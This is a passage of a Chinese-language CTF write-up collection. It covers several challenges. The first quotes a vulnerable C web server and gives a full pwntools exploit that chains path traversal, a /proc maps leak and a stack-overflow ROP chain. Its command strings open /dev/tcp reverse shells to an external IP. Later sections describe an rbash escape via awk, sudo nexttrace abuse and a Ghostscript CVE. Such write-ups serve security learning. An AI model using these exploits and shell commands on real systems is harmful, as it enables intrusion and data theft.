// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69    strcpy(fileBuffer, WWW_ROOT);    // Arquivo do request  if(req.uri) {    strcat(fileBuffer, req.uri);    }  // Se terminado em /, abre o arquivo padrao  if(strcmp(&fileBuffer[strlen(fileBuffer)-1], "/") == 0) {    strcat(fileBuffer,"index.html");  }  // Verifica se arquivo existe no servidor  if(stat(fileBuffer, &st) == -1) {    res.status = 404; // File not Found    res.fileName = "404.html";  } else {    res.status = 200; // ok    res.fileName = fileBuffer;  }

2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照<tr><td>%s</td>和<td>%s</td></tr>的格式进行扩展,然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE,但多次循环、经过扩展后最终的长度可以超过MAXLINE,发生栈溢出。

// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183    char buffer[MAXLINE];  //Prepara cabecalho HTML  sprintf(buffer, "<html><head><title>Submitted Form</title></head>");  //Cria body  strcat(buffer, "<body><h1>Received variables</h1><br><table>");  strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");    char * pch;    char temp[250];  pch = strtok (linePost,"&=");  while (pch != NULL)  {    sprintf(temp, "<tr><td>%s</td>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");    sprintf(temp, "<td>%s</td></tr>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");  }

两个漏洞连用,攻击者可以实现任意代码执行。exploit代码如下:

#!/usr/bin/env python3from pwn import *import syscontext.arch = "i386"context.log_level = "debug"elf = ELF("./httpd", checksec = False)libc = ELF("./libc.so.6", checksec=False)# libc = elf.libchost = "127.0.0.1"#port = 39188port = int(sys.argv[1])def retrieve_file(path):    payload = f'''GET /../../../../../../../../../../../..{path} HTTP/1.1\r\n\r\n'''    io = remote(host, port)    io.send(payload.lstrip().encode("latin-1"))    cont = io.recv()    if b'HTTP/1.1 200 OK\r\n' in cont:        cont = io.recv()    io.close()    return contdef leak():    for pid in range(0, 200):        elf_path = b"/home/httpd"        libc_path = b"usr/lib/i386-linux-gnu/libc.so.6"        file = f"/proc/{pid}/maps"        cont = retrieve_file(file)        # print(cont)        try:            maps = cont.split(b"\r\n\r\n")[1]            # print(maps)            # breakpoint()            if elf_path in maps:                # print("find {}".format(pid))                heap = 0                stack = 0                for line in maps.split(b"\n"):                    address_range, permissions, offset, device, inode, mapped_file = line.split()[:6] if len(line.split()) >= 6 else (b"", b"", b"", b"", b"", b"")                    if heap == 0 and b"[heap]" in mapped_file:                        heap = int(address_range.split(b"-")[0], 16)                        print("heap @ {:#x}".format(heap))                        continue                    if stack == 0 and b"[stack]" in mapped_file:                        stack = int(address_range.split(b"-")[0], 16)                        print("stack @ {:#x}".format(stack))                        continue                    if elf.address == 0 and elf_path in mapped_file:                        elf.address = int(address_range.split(b"-")[0], 16)                        # breakpoint()                        print("elf @ {:#x}".format(elf.address))                        continue                    if libc.address == 0 and libc_path in mapped_file:                        libc.address = int(address_range.split(b"-")[0], 16)                        print("libc  @ {:#x}".format(libc.address))                        # breakpoint()                        continue                    if (heap & stack & elf.address & libc.address) != 0:                        return (heap, stack)        except:            print("error")            continue    else:        print("not found")        exit(-1)def overflow(addrs):    heap, stack = addrs    io = remote(host, port)    # 0x30 + 0x2c + 0x2a = 0x86    # 0xf: '<tr><td>\nk</td>'    # 0xf: '<td>v</td></tr>'    # 0xe: '<tr><td>k</td>'    # 0xf: '<td>v</td></tr>'    padding =  b"k=v&" * 0x88 # 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfef    padding += b"p=" # 0xfef + 0xe("<tr><td>p</td>") + 0x4("<td>") = 0x1001    '''-00001028 buffer db 4096 dup(?)-00000028 res_1 response ?-0000001C var_1C dd ?-00000018 req_1 request ?-0000000C var_C db 12 dup(?)+00000000  s db 4 dup(?)+00000004  r db 4 dup(?)+00000008 arg_0 request ?+00000014 arg_C response ?+00000020 connfd dd ?+00000024 linePost dd ?    '''    '''/*** Estrutura da resposta.* @status: id do status de retorno* @vProtocol: Versao do protocolo HTTP* @fileName: Nome do arquivo em disco da requisicao*/typedef struct {  int status;  char *vProtocol;  char *fileName;} response;    '''    payload =  b'111' # res.status    payload += flat(elf.address + 0x306b) # res.vProtocol    payload += flat(stack + 0x1c29c) # res.fileName    payload += b'aaaa' # padding    '''/*** Estrutura da requisição.* @method: Tipo de requisicao (GET/POST)* @uri: Endereco para arquivo no servidor* @vProtocol: Versao do protocolo HTTP*/typedef struct {  char *method;  char *uri;  char *vProtocol;} request;    '''    payload += flat(elf.address + 0x3008) # req.method    payload += flat(stack + 0x191fc) # req.uri    payload += flat(elf.address + 0x305c) # req.vProtocol    payload += b'bbbbbbbbbbbb' # padding    payload += b'cccc' # ebp    # ropchain = flat(0xdeadbeef)    # ropchain += cyclic(0x20)    ropchain = flat([        libc.sym["system"],        0x12345678,        #stack + stack_offset,        #stack + 0x1c4e8,        #heap + 0x81a        heap + 0x141a        #0x57c7381a    ])    # cmd = b"""perl -MIO::Socket::INET -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:54321");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';#"""    # https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc    # cmd = br"""echo -e 'bash -c "exec bash -i \x26>/dev/tcp/127.0.0.1/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""    # cmd = br"""printf '/bin/bash -c "exec bash -i \x26>/dev/tcp/123.57.212.189/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""    cmd = br"""printf '/bin/bash -c "exec /readflag > /dev/tcp/123.57.212.189/54321 "' > /tmp/1;sh /tmp/1;#"""    # cmd = b"""id > /tmp/123;#"""    payload += ropchain # ret addr    payload += cmd    assert b"\n" not in ropchain    assert len(payload) < 250 - 14    raw_payload = padding + payload    buffer =  b"POST /index.html HTTP/1.1\r\n"    buffer += b"\r\n"    # buffer =  buffer.ljust(0x1000, b'a')    buffer += raw_payload    buffer += b"\r\n"    buffer += raw_payload # last line    #print(hexdump(buffer))    assert len(buffer) <= 0x1000    assert b'\x00' not in payload    io.send(buffer)    sleep(0.01)    # options = b"x" * 0x1000    # io.send(options)addrs = leak()# print(retrieve_file("/proc/39/maps"))# pause()overflow(addrs)#for stack_offset in range(0x10000, 0x20000):#    try:#        overflow(addrs, stack_offset)#    except Exception as e:#        pass

PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移

12
Be-an-Interpreter-Hacker

Pwn, difficulty:Baby

考察 Ghostscript CVE-2023-28879 的漏洞利用:

漏洞原理:https://offsec.almond.consulting/ghostscript-cve-2023-28879.html

利用 PoC:

https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce

13
ALS

Pwndifficulty:Normal

事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。

https://github.com/wikihost-opensource/als

这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。

看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。

只是一个降权的rbash,继续查看fakeroot的构建代码可以发现:

导入了awk。那接下来就简单了,直接用awk逃rbash。

awk 'BEGIN {system(\"/bin/sh\")}'export PATH=/usr/bin:/bin:/usr/local/bin/

接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。

项目给了nexttrace sudo的权限可以以root执行。

接下来就是非预期的部分了。由于时间隔得比较久,加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace --file /root/flag即可

接下来来说一说预期的。需要拿root shell才能解的做法:

首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护(虽然非预期了)。

如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。

第一个问题,查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询:

因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。

当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。

编写ip数据记录并生成数据库。

可以看到输出中已经有了我们的payload。

至于写到哪里就比较简单了。还是看刚才我们看过的rbash的启动代码。可以发现最后一行并不是exec的。因此nexttrace追加写入到该文件(/app/utilities/start_fakeroot.sh)。那么在shell退出之后会继续执行命令。导致root权限的任意代码执行。

14
Long Range 2

Miscdifficulty:Baby

作者看到许多选手Writeup写得太好了,实在自愧不如,于是请大家欣赏下几位选手的Writeup(可复制到浏览器查看🔗):
https://blog.nanax.fr/post/2024-01-28-hardware-longrange2/ by The Flat Network Society
https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/longrange2 by MMM
https://sec.gd/blog/en/posts/long-distance-2/ by WreckTheLine


文章来源: https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651387025&idx=2&sn=e2a5d271585b9576e15e84a4695827d7&chksm=8d398519ba4e0c0fedabcacba5a08ab1a56c284f3723beb1284fc960d0f9c1307e46dafaace5&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh